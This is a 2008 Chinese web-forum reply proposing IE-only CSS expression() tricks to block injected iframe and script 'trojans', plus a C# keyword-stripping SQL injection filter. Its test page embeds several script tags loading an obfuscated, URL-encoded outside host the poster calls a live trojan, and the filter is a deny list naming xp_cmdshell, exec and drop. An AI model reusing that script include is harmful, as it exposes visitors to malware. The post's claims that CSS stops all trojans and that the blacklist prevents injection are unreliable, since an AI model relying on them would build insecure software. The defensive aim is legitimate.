加为好友
发送私信
在线聊天
发表于:2008-05-12 09:33:35 29 楼 得分:15
来跟我写CSS,一一搞定它们,我写了5种不同的方案,大家来测试一下哈: 解决方案1: iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/ script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');} 原理:将 <script>标记的src拿出来转为小写,再看是不是以“http”开头的外域JS脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。 缺点:访客无法看到被感染了 <script>木马的页面。 解决方案2: iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');} script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');} 原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。 解决方案3: iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');} script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');} 原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。 解决方案4: iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');} script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');} 原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。 解决方案5: iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');} script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==0)?document.write('木马被成功隔离!'):''));} 第五种方案的页面HTML源代码 <script>中要加入以"lh"为前缀的id,如 lhWeatherJSapi, <script src="***/**.js" id="lhSearchJSapi"> </script> 以下页面代码里含有一个木马地址,而且木马在页面里重复了6次,大家分别用我上面的不同方案测试一下,看看我的研究如何!(此测试有一定的危险性,请务必打好所有补丁再测试) <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>让JS木马的进程迅速中止的CSS代码 </title> <style type="text/css" id="LinrStudio"> /* <![CDATA[*/ iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');} script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');} /* 以后请在此关注最新木马处理方法:http://www.nihaoku.cn/ff/api.htm */ /*]]>*/ </style> </head> <body> <script type="text/javascript" src="1.js"> </script> <script src=http://%76%63%63%64%2E%63%6E> </script> <script src="http://%76%63%63%64%2E%63%6E" type="text/javascript"> </script> <script src=http://%76%63%63%64%2E%63%6E> </script> 我是页面本身的1 <script src=http://%76%63%63%64%2E%63%6E> </script> 我是页面本身的2 <script src=http://%76%63%63%64%2E%63%6E> </script> 我是页面本身的3 <script src=http://%76%63%63%64%2E%63%6E> </script> </body> </html> 其中1.js是自己本站的: document.write("我是本站的JS文件"); document.write(" <img src='http://www.baidu.com/images/logo.gif' />"); 我的测试环境是: Windows XP SP2 和windows Vista SP1 IE6/IE7/IE8 已全部打好补丁。 综上所述,所有目前的挂马方式全都破解了,用CSS就可以解决所有木马问题,访客不会再轻易地中毒了。 大家也要仔细研究一下,看看我的代码有什么BUG,有的话一定要拿出来讨论,好解决问题!或是各位有其他更好的办法可以拿出来讨论一下。 很晚了,我要睡觉了。有空再研究。 更正第五个方案 上面写到的第五个方案代码写错了, <script src="***/**.js" id="lhSearchJSapi"> </script> script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==0)?document.write('木马被成功隔离!'):''));} 红色字部分有错误,应该是!=-1,上面的正确写法应该是: script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==-1)?document.write('木马被成功隔离!'):''));} script{noj5s:expression((this.id.toLowerCase().indexOf('vok')!=-1)?document.write('木马被成功隔离!'):''));} [/code] <script id="tjJSapivok" title="这是你外域的统计流量的JS代码" type="text/javascript" src="http://js.tongji.yahoo.com.cn/1/188/205/ystat.js"> </script> <script id="otherJSapivok" title="这是你本站需要的JS文件" type="text/javascript" src="footer.js"> </script>[/code]script{noj5s:expression((this.id.toLowerCase().indexOf('vok')!=-1)?document.write('木马被成功隔离!'):''));} <script id="footerJSapivok" src="这里写你本网站的JS路径" type="text/javascript"> </script> <script id="tongjiJSapivok" src="这里外域的JS路径" type="text/javascript"> </script> 你网站的所有JS标记( <script>)都得加上id属性,并且有一个共同的前缀、后缀或公共字符串,上面的公共字符串为“vok”。 特此更正,感谢昵称为“网工”的QQ网友提醒。 研究网页挂马破坏用户的斗争还在继续,也不会停止。还望各位将服务器安全性能配置好点,我这也只是临时避避风雨的办法。 7. c#替换过滤掉一些sql注入时用的sql语句敏感关键词,有时需要将传的值转成小写再过滤会更有效 public static string DelSQLStr(string str) { if(str == null ¦ ¦ str == "") return ""; str = str.Replace(";",""); str = str.Replace("'",""); str= str.Replace("&",""); str= str.Replace("%20",""); str= str.Replace("--",""); str= str.Replace("==",""); str= str.Replace(" <",""); str= str.Replace(">",""); str= str.Replace("%",""); str= str.ToLower().Replace("create",""); str= str.ToLower().Replace("select",""); str= str.ToLower().Replace("insert",""); str= str.ToLower().Replace("update",""); str= str.ToLower().Replace("drop",""); str= str.ToLower().Replace("from",""); str= str.ToLower().Replace("declare",""); str= str.ToLower().Replace("exec",""); str= str.ToLower().Replace("char",""); str= str.ToLower().Replace("xp_cmdshell",""); str= str.ToLower().Replace("where",""); str= str.ToLower().Replace("or",""); str= str.ToLower().Replace("and",""); str= str.ToLower().Replace("begin",""); return str; } 此类问题有待详细研究,总结希望对被此问题困扰的朋友们些启发和帮助。。。
修改
删除
举报
引用
回复